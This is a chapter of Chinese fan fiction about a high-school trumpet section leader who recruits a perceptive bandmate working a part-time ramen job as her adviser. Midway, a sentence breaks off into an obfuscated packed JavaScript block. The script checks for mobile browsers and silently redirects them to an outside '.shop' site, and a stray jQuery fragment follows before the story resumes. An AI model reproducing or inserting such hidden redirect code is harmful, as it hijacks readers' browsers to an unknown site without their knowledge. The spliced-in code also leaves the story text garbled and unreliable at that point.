9. chapter 9
作品:《青叶城西的小号首席会爱上排球笨蛋吗?》 一向少有表情变化的绘里音终于破了功。
她与琴吹悠对视几秒,侧过脑袋,捂住嘴角。
琴吹悠满头金毛瞬间变成炸炸头。
她听到了“噗呲”一声,绘里音绝对是在笑她。
绘里音整顿一番面部表情,又变回冷冷的模样:“叉烧拉面,微辣?”
琴吹悠:……
琴吹悠:“…对。”
她拿着自己的取餐号,双目无神地随便找了个座位坐下,要是条件允许,她绝对会把脸埋在双臂之中,发出尖叫。
但条件不允许,她只能望着漆黑的手机屏幕发出无声的尖叫。
有了她那句[我不是在跟踪你],原本是偶遇,结果越抹越黑…
想到这,她的脑袋又冒起了烟。
算是误打误撞,她知晓了绘里音不参加课后训练的原因——为了打工。
琴吹悠拨弄着手机壳。
她在思考半强制的社团练习是否合理。
她家境还算殷实,朋友也不多,思考高中生放学安排的时候,只想到了[写作业][玩耍][吹奏]三个选项,却没有把打工算在里面。
日本社会是一个崇尚「读空气」的社会,即使真的有需求,还是会碍于这种隐性的压力不敢提出。
要不改为自愿留校练习?
那万一自愿留下的人占多数,又造成了压力……
她顿感头大。
部长这种需要顾及方方面面的工作实在不是人当的!
她自诩不是什么好家伙,尚且要顾及那么多,也不知道笹原学姐是怎样处理好与所有人的关系的。
不知不觉间,她已经半耷拉着脑袋趴在桌上。
——及川彻那家伙,也能当好部长吗?
她想起独自在楼栋间吹奏时,浩浩荡荡的排球部众人总是会有说有笑地跑过,关系十分亲密。
秉持着绝对不能输给死对头的信念,她又振奋了起来,双手握拳给自己打气。
“叉烧拉面,微辣。”
绘里音轻轻将拉面放在琴吹悠的面前。
琴吹悠僵硬地把手放在背后。
这家伙,早不来晚不来,偏偏在她给自己打气的时候送上拉面。
莫非刚刚自己的举动完全被她看在眼里?
绘里音:“我没有在偷看你!”
……
绝对在模仿她吧!
绘里音那副万年表情不变的面孔,用感叹的语气说话,实在是过于格格不入了。
另外,还有一件事让她很在意。
琴吹悠张了张嘴,刚想发问。
绘里音:“还好吧,没有很好懂,只是我比较擅长观察。”
……她怎么知道自己想问这个。
完全被看穿的琴吹悠心情跌宕起伏地吃完了一碗微辣的叉烧拉面。
她甚至开始怀疑自我。
难道过去在众人面前打造的人设都跟纸糊的一般,实际上所有人都跟绘里音一样一眼看穿她了吗?
她一边思考人生,一边走到门口,刚想推开门,又与在擦桌子的绘里音对视片刻。
绘里音:“别想那么多,我觉得她们没有那么厉害。”
一句话,既夸了自己,又再一次戳破了琴吹悠的心声。
琴吹悠一边说着“再见”,一边头也不回地离开了。
——一对视就会被看穿的感觉真的太可怕了。
*
回到家,她才反应过来自己的思绪完全被绘里音带偏了。
原本在意绘里音为什么打工,后来陷入自己的尴尬情绪中,将这个问题抛到九霄云外了。
她合理怀疑这都在绘里音的计划之内。
她打开笔记本,攥着笔,心想:像绘里音这样的人,自己就能把所有的事情处理好吧。
笔还是有它自己的想法,固执地在笔记本上留下了「绘里音放学后打工 ?」这样的记号。
比起这个,还有需要处理的事项。
「放学后训练」
私聊了每个各声部首席后,琴吹悠发现,放学后去打工的吹奏部成员并不算少,但主动提出有事的,到现在也只有绘里音一个。
她叹气,决定推翻原有的计划。
又拉了小群讨论之后,她们认为暂时先看训练与选拔情况,之后再做决定。
“好累。”琴吹悠把手机丢到一边,打开小号盒,亮珵珵映着她有点疲惫的面庞。
她把小号盒合上,转头又拿起了手机。
「Trumpet:久美子,请问,怎样平衡部员训练与打工的时间;怎样既不给她们施加压力让她们自己做出选择,又能提高吹奏部的练习水平;还有,如果一个部门成员高深莫测且一看就很有故事,我是不是应该多关注一下她?」
「章鱼脑袋:你是八爪鱼吗,一手抓这个一手抓那个……话说,你有没有觉得当部长就跟玩游戏一样?」
「Trumpet:何出此言?」
「章鱼脑袋:当了部长之后,所有人的头上都顶着个问号,你点一点他们,就自动进入了处理问题的支线,哈哈。」
琴吹悠冥思,还怪形象的,她表示赞同。
「章鱼脑袋:我觉得你要一件事一件事慢慢来,这不才开学吗。对了,那个部员既然看起来高深莫测,就把她拉来一起呗,顺便观察观察。」
「章鱼脑袋:一举两得,我真是天才!」
琴吹悠的脑海里闪过绘里音灰黑色的眼睛。
她观察绘里音吗?
但久美子的建议从各个角度分析都很靠谱,琴吹悠咬咬牙,云淡风轻:
「Trumpet:没问题。」
*
绘里音:“我当你的幕后军师?”
琴吹悠:“对。”
绘里音抱着小号:“我们吹奏部什么时候设了这个职位,部长大人。”
琴吹悠:“…刚设的。”
她威逼利诱:“当军师,有超多好处的。”
绘里音静静等待琴吹悠给出[好处]
“比方说。”她想到浅川和早间的日常对话,“我们可以去吃下午茶,本部长请客。”
绘里音:“我吃得少。”
琴吹悠绞尽脑汁:“我可以指导你吹小号!”
她回忆前几分钟绘里音吹奏的片段,拿起小号:“第三小节,可以换种方式处理。”
她展现了标准的强弱变化。
“还有这里的大跳,我有非常非常高效的练习技巧,怎么样?”
绘里音看着微仰脑袋的琴吹悠。
对方仿佛觉得,「小号技巧」是最具诱惑的好处,没有人能够拒绝。
但世界上像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228649|197584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
琴吹悠这样只在乎一件事情的人实在太少了。
她不知道上任部长是抱着怎样的想法,派这样一名小号手来管理吹奏部。
难道不怕把吹奏部弄成“高压锅”,所有人都炸了吗?
她原本以为琴吹悠这几年没有参加比赛,是因为遭受了挫折一蹶不振,但目前看来,对方似乎和过去也没什么区别。
为什么呢?
当一个人只有一个支点,又是怎样迅速重振旗鼓的呢?
她想不明白。
良久,绘里音回答:“行。”
琴吹悠洋洋得意。
果然,没有人能逃脱小号的诱惑,就算是绘里音也不行。
绘里音刚上任,就开始给部长献策:“我觉得你在烦恼怎样平衡部员的课余时间。”
琴吹悠不情愿地点点头。
“如果这一届吹奏部想要出成绩,我建议把选拔的时间提前,可以分为两个阶段。
第一个阶段初步选拔参赛的成员,督促她们练习。
第二阶段就是踢馆赛,在第一阶段被选上的成员可以被任何后备成员挑战,这样被选上的成员也能保持练习积极性,没被选上却想参赛的也有接着练习的动力。
至于具体怎么安排,我还没想好,等想好了告诉你……部长,你那是什么表情?”
琴吹悠瞳孔微震,目瞪口呆,她问:“这些东西,是天生就装在你脑袋里的吗?”
绘里音第一次面对这种询问,她一噎,回答:“不算吧。”
琴吹悠兴奋:“所以我能养成?”
绘里音不愿打击:“看机缘巧合了。”
琴吹悠清了清嗓:“你的计划,很不错,我觉得完全可以采纳。”
绘里音:“部长,你是不是没有夸过人,好僵硬。”
琴吹悠幽幽地凝视着她:“你怎么变成吐槽役了。”
……她还真没有怎样直白地夸过人。
不过在她看来,绘里音真的颇有神通。
她自己从小只知道如何让自己卷起来——纯靠自律。
却不知世上存在这种卷卷不息的方法,令人叹为观止。
绘里音:“不要学。”
好在琴吹悠只是个搞艺术的,没有任何加入家族企业的想法,否则她都不敢想象琴吹集团的员工会处于怎样的水深火热之中。
琴吹悠:“总算解决一桩心事,我们赶紧开始练习吧。”
她爱抚着自己的琴谱:“昨天,我想着心事——”
绘里音:“想得都练不下琴了?”
琴吹悠:“——想得都少练了半个小时。”
刚接受久美子的建议,她就从床上一跃而起,抱着自己心爱的小号练了起来。
绘里音满头黑线。
她由衷:“我总在小号上面频频猜不准部长你的想法。”
搞不懂你们这种极端热爱党。
琴吹悠翻了翻谱子,拿起小号,又停了下来:“因为你刚刚献上良策,我也告诉你一个秘密。”
“只要一直练习,小号就会跟你对话。”
绘里音捧着自己的小号:“那你能问问你的小号君,为什么我的小号君还不会说话吗?”
琴吹悠有模有样地吹了首入门欢乐颂,一曲吹完,她提高音调,用小号的方式作答:“我家小号说——你还得练!”

